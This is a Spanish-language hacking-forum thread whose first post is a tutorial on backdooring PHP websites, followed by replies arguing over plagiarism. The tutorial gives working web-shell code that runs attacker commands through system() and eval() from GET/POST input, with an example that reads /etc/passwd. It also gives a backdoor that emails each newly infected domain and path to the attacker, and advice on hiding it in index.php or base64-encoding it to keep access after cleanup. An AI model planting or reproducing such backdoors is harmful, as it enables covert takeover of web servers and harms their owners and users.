Citaruna puerta trasera (o en inglés backdoor), en un sistema informático es una secuencia especial dentro del código de programación, mediante la cual se pueden evitar los sistemas de seguridad del algoritmo (autentificación) para acceder al sistema.
Citar¿Y si se nos ocurre usar $_GET o $_POST para poder ejecutar el comando que queramos?Código (php) [Seleccionar]<?php
system('comando');
?>
CitarCódigo (php) [Seleccionar]<?php
$var = @system($_GET['ejec']);
?>
Citarurl.com/archivoinfectado.php?ejec=comando
Citarurl.com/archivoinfectado.php?ejec=cat /etc/passwdy nos mostraría el etc/passwd o podemos poner con cualquier comando, depende el servidor
CitarCódigo (php) [Seleccionar]<?php
echo 'tu IP es'.$_SERVER['REMOTE_ADDR'];
?>
CitarCódigo (php) [Seleccionar]<?php
echo 'Este archivo esta en'.$_SERVER['PHP_SELF'];
?>
CitarCódigo (php) [Seleccionar]<?php
echo 'Estamos en el dominio '.$_SERVER['SERVER_NAME'];
?>
CitarAl momento de que alguen entre me enviara un email con el asunto Hola y con el contenido "HolaCódigo (php) [Seleccionar]<?php
mail('[email protected]', 'Hola', 'Hola mucho gusto soy'.$_SERVER['REMOTE_ADDR);
?>
CitarSi lo ejecutamos veremos que nos mostrará: hola underc0de. Al igual que system() la podemos usar con $_GET ó $_POST de la misma forma.Código (php) [Seleccionar]<?php
$var = eval("echo 'hola underc0de';");
?>
CitarCódigo (php) [Seleccionar]<?php
$var eval($_GET['ejec']);
?>
Citarurl.com/archivoinfectado.php?ejec=echo 'hola';y miren que claramente nos ejecutará hola.
CitarCódigo (php) [Seleccionar]<?php
$var = system($_POST['ejec');
$domain = $_SERVER['SERVER_NAME'];
$ruta = $_SERVER['PHP_SELF'];
mail('[email protected]', 'Nuevo dominio infectado', $domain.$ruta);
?>
CitarCódigo (php) [Seleccionar]<?php
$var = eval($_POST['ejec');
$domain = $_SERVER['SERVER_NAME'];
$ruta = $_SERVER['PHP_SELF'];
mail('[email protected]', 'Nuevo dominio infectado', $domain.$ruta);
?>
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola Underc0deanos, en este post hablaré sobre técnicas para tener un archivo ya sea .PHP ó .HTML a nuestro control. No me hago responsable sobre el uso que le den a este post. Solo lo hago por cuestiones educativas y éticas.
Para el que no sepa que es un Backdoor, cito a mi amiga la Wikipedia.Citaruna puerta trasera (o en inglés backdoor), en un sistema informático es una secuencia especial dentro del código de programación, mediante la cual se pueden evitar los sistemas de seguridad del algoritmo (autentificación) para acceder al sistema.
Temario de funciones
1-System()
2-Variable Global $_SERVER[]
2.1- $_SERVER['REMOTE_ADDR']
2.2-$_SERVER['PHP_SELF']
2.3-$_SERVER['SERVER_NAME']
3-mail()
4-eval()
System()
No dudo que ya conozcas está función ya que es la más conocida para estos temas.
Para poder usarla solo debemos declarar:Citar¿Y si se nos ocurre usar $_GET o $_POST para poder ejecutar el comando que queramos?Código (php) [Seleccionar]<?php
system('comando');
?>CitarCódigo (php) [Seleccionar]<?php
$var = @system($_GET['ejec']);
?>
Podriamos entrar desde:Citarurl.com/archivoinfectado.php?ejec=comando
un ejemplo así:Citarurl.com/archivoinfectado.php?ejec=cat /etc/passwdy nos mostraría el etc/passwd o podemos poner con cualquier comando, depende el servidor
dependeran los comandos, es decir si tiene linux son comandos linux y si tiene windows pues son
comandos windows, :genius:
Si no están 100% familiarizados con linux les dejo unos comandos que podrian servirles:
Mover un archivo: mv archivo /carpeta/
Renombrar un archivo: mv archivo archivorenombrado
Crear un archivo: touch archivo
Descargar archivos: wget url.com/lol.txt (Se descargará un archivo lol.txt)
Eliminar un archivo: rm archivo
Copiar un archivo: cp archivo archivocopiado
Variable global $_SERVER
$_SERVER['REMOTE_ADDR'] – Muestra la ip de el usuario que está abriendo el script
Ejemplo:CitarCódigo (php) [Seleccionar]<?php
echo 'tu IP es'.$_SERVER['REMOTE_ADDR'];
?>
Mostrará la IP de quien lo abra.
$_SERVER['PHP_SELF']- Muestra la ruta en el que se está ejecutando el script.
Ejemplo:CitarCódigo (php) [Seleccionar]<?php
echo 'Este archivo esta en'.$_SERVER['PHP_SELF'];
?>
Mostrará la ruta de el script, es decir si estamos en web.com/hola/lol.php te mostrara /hola/lol.php
$_SERVER['SERVER_NAME'] – Muestra el dominio en el que se está ejecutando el script.
Ejemplo:CitarCódigo (php) [Seleccionar]<?php
echo 'Estamos en el dominio '.$_SERVER['SERVER_NAME'];
?>
Te mostrará en la pantalla Estamos en el dominio http://web.com
Mail()
Está función sirve para enviar un mail.
Modo de uso:
mail('Para', 'Asunto', 'Contenido')
NOTA: Esto se puede almacenar en variables pero como he dicho no estoy enseñando a programar PHP.
Entonces si yo pongo en un script:CitarAl momento de que alguen entre me enviara un email con el asunto Hola y con el contenido "HolaCódigo (php) [Seleccionar]<?php
mail('[email protected]', 'Hola', 'Hola mucho gusto soy'.$_SERVER['REMOTE_ADDR);
?>
mucho gusto soy y una IP".
Bueno ya lo que sigue es a su imaginación, lo que deseen hacer.
eval()
Bien, ahora les explicaré está función. Eval es parecida a system con la diferencia en que system ejecuta comandos en el sistema y eval ejecuta código PHP.
Un claro ejemplo de uso.CitarSi lo ejecutamos veremos que nos mostrará: hola underc0de. Al igual que system() la podemos usar con $_GET ó $_POST de la misma forma.Código (php) [Seleccionar]<?php
$var = eval("echo 'hola underc0de';");
?>
Ejemplo:CitarCódigo (php) [Seleccionar]<?php
$var eval($_GET['ejec']);
?>
lo usamos de está forma:Citarurl.com/archivoinfectado.php?ejec=echo 'hola';y miren que claramente nos ejecutará hola.
Bueno si no están muy familiarizados con PHP está ultima función no les ayudará tanto (y si ponen el code de una shell).
Creando nuestros backdoors.
Un backdoor que ejecute comandos en un sistema pero que nos avise por email cuando alguiien haya visitado este script.CitarCódigo (php) [Seleccionar]<?php
$var = system($_POST['ejec');
$domain = $_SERVER['SERVER_NAME'];
$ruta = $_SERVER['PHP_SELF'];
mail('[email protected]', 'Nuevo dominio infectado', $domain.$ruta);
?>
Son 4 lineas que podemos incluir en cualquier script, si ponemos estas 4 lineas dentro de una shell y despues encriptamos todo en base64... ¿Quíen se dará cuenta? O también podemos incluir estas lineas digamos en el archivo index.php, asi si nos borran una shell seguimos teniendo acceso al servidor.CitarCódigo (php) [Seleccionar]<?php
$var = eval($_POST['ejec');
$domain = $_SERVER['SERVER_NAME'];
$ruta = $_SERVER['PHP_SELF'];
mail('[email protected]', 'Nuevo dominio infectado', $domain.$ruta);
?>
Bueno hay muchas, muchas formas de darle provecho a estas funciones, Yo solo explique dos.
Usen la imaginación.
Saludos, Payasako.
Citar
Post que veo tuyo sin ofender post que no pones los creditos o bien modificas una que otra cosa sacando títulos y demas, lo que posteaste! o compartiste tus conocimientos es un lindo paper del Odiado y amado por muchos Okolcito aka Okol. Ahhh antes que me olvide el paper de Okol esta en la Biblioteca de UC
Backdooring con PHP by OKOL (http://biblioteca.underc0de.org/?dir=SEGURIDAD%20WEB/Backdooring%20con%20PHP.pdf)
Payasako supongo que eres un chico que anda iniciando en estos lares, mejor poner fuente ;) campeón.
Hasta la despedida está idéntica solo te falto el Saludos OKOL.
PD: Hasta coin!!! x'D como cambiaron las cosas por aquí.
Regards,
Snifer
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Brother no fue el único que copia y pega aquí... sin dejar creditos... Déjalo al menos vuelve a aportar algo util (temas que habia olvidado)
...Y ese tema no es de OKOL, es de Cesar publicado en el 2009...
Saludos.
No tienes permitido ver los links. Registrarse o Entrar a mi cuentaNo tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Brother no fue el único que copia y pega aquí... sin dejar creditos... Déjalo al menos vuelve a aportar algo util (temas que habia olvidado)
...Y ese tema no es de OKOL, es de Cesar publicado en el 2009...
Saludos.
Entonces lo dejo que siga copy y paste en todo? ademas de no ser el único post? dejo que crezca la ignorancia de las personas y que se acostumbren a ello? solo porque recupera post del ayer? xDDDD Buena tu lógica.
Si fuera de Cesar o de Okol la cuestión es que yo conozco de Okol lo que me acordé, y bueno si tienes fuente original comparte.
Regards,
Snifer
PD: Y no aparece...
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
El típico método, buen aporte.
Saludos.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Jeje estás echo un Granujilla @sniffer (https://underc0de.org/foro/index.php?action=profile;u=26226)
Mira, te voy a faltar el respeto porque te lo mereces. Antes de todo, el tutorial no tenia ningún tipo de autor, (Yo tampoco he afirmado que sea mio) por otra parte, ha habido foros en lo que lo he posteado y he dejado claro que no era mio, y por otra parte, tambien decirte que no soy nuevo por estos lares, llevo 27 años en la Seguridad informática y de echo, también me atrevo a mencionar tu blog de Sniffer Labs, ¿Cuántos tutoriales de ahí son tuyos?
Venga un saludo granuja, no me he puesto muy duro contigo por pena pero solo quiero decirte que también vale informarse antes de ladrar, si yo ahora te digo "panchito" llevaria la razón aunque no tengo pruebas ni nada, lo mismo pasa colega.
Un saludo desde mi sede de seguridad informática en Madrid, algo que nunca tendrás tu.
Hayy la envidia que te entra eh, pues se tu tambien inteligente y copia posts para que te den coins, TONTO. Ah no, que en tu blog no hay coins, mala suerte.
Hasta luego granuja.